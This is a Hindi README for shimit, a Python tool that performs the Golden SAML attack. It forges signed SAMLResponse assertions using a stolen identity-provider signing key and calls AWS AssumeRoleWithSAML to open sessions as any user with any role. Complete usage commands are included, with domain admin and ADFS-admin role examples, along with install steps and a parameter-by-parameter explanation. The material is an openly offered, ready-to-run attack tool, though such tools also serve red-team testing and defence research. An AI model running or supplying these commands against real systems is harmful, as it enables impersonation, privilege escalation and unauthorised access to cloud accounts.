
एक उपकरण जो गोल्डन SAML हमले को लागू करता है।
shimit एक पायथन टूल है जो Golden SAML हमले को लागू करता है। इसके बारे में अधिक जानकारी हमारे ब्लॉग पर इस लेख में पाई जा सकती है।
python .\shimit.py -h
usage: shimit.py [-h] -pk KEY [-c CERT] [-sp SP] -idp IDP -u USER [-reg REGION]
[--SessionValidity SESSION_VALIDITY] [--SamlValidity SAML_VALIDITY] -n SESSION_NAME
-r ROLES -id ARN [-o OUT_FILE] [-l LOAD_FILE] [-t TIME]
██╗ ███████╗██╗ ██╗██╗███╗ ███╗██╗████████╗ ██╗ ██╗
██╔╝ ██╔════╝██║ ██║██║████╗ ████║██║╚══██╔══╝ ██╔╝ ╚██╗
██╔╝ ███████╗███████║██║██╔████╔██║██║ ██║ ██╔╝ ╚██╗
╚██╗ ╚════██║██╔══██║██║██║╚██╔╝██║██║ ██║ ██╔╝ ██╔╝
╚██╗ ███████║██║ ██║██║██║ ╚═╝ ██║██║ ██║ ██╔╝ ██╔╝
╚═╝ ╚══════╝╚═╝ ╚═╝╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝
Golden SAML हमले में, हमलावर किसी भी एप्लिकेशन (जो SAML प्रमाणीकरण का समर्थन करता है) तक पहुँच प्राप्त कर सकते हैं, जिसमें वे अपनी इच्छानुसार कोई भी विशेषाधिकार प्राप्त कर सकते हैं और लक्षित एप्लिकेशन पर कोई भी उपयोगकर्ता बन सकते हैं।
shimit उपयोगकर्ता को एक हस्ताक्षरित SAMLResponse ऑब्जेक्ट बनाने और उसे सेवा प्रदाता (Service Provider) में एक सत्र खोलने के लिए उपयोग करने की अनुमति देता है। shimit अब AWS कंसोल को Service Provider के रूप में समर्थन करता है, अन्य पर काम चल रहा है...
SAMLResponse के assertion को उत्पन्न और हस्ताक्षरित करने के बाद, shimit AWS में AssumeRoleWithSAML() API को कॉल करेगा। फिर, सत्र टोकन और कुंजी को एक नए सत्र पर लागू किया जाएगा, जहाँ उपयोगकर्ता aws cli का उपयोग करके golden SAML द्वारा प्राप्त अनुमतियों का उपयोग करके कार्य कर सकता है।
आवश्यक मॉड्यूल स्थापित करने के लिए, निम्न कमांड चलाएँ:
python -m pip install boto3 botocore defusedxml enum python_dateutil lxml signxml
प्राप्त क्रेडेंशियल्स का उपयोग करने के लिए इसे स्थापित करना आवश्यक है। इसे Windows या Linux के लिए इन लिंक से डाउनलोड किया जा सकता है।
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file
-u domain\admin -n [email protected] -r ADFS-admin -r ADFS-monitor -id 123456789012
idp - पहचान प्रदाता URL (Identity Provider URL) जैसे http://server.domain.com/adfs/services/trust
pk - निजी कुंजी फ़ाइल का पूर्ण पथ (pem प्रारूप)
c - प्रमाणपत्र फ़ाइल का पूर्ण पथ (pem प्रारूप)
u - उपयोगकर्ता और डोमेन नाम जैसे domain\username ( *nix में \ या उद्धरण का उपयोग करें)
n - AWS में सत्र का नाम
r - AWS में वांछित भूमिकाएँ। कई भूमिकाओं का समर्थन करता है, पहले निर्दिष्ट भूमिका ग्रहण की जाएगी।
id - AWS खाता ID जैसे 123456789012
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file
-u domain\admin -n [email protected] -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml
o - एन्कोडेड SAMLResponse को निर्दिष्ट फ़ाइल पथ पर आउटपुट करें
python .\shimit.py -l saml_response.xml
l - निर्दिष्ट फ़ाइल पथ से SAMLResponse लोड करें
shimit वर्तमान में एक POC के रूप में AWS को सेवा प्रदाता के रूप में समर्थन करता है। हम आपको अन्य सेवा प्रदाताओं के लिए नए मॉड्यूल के साथ योगदान देने के लिए प्रोत्साहित करते हैं।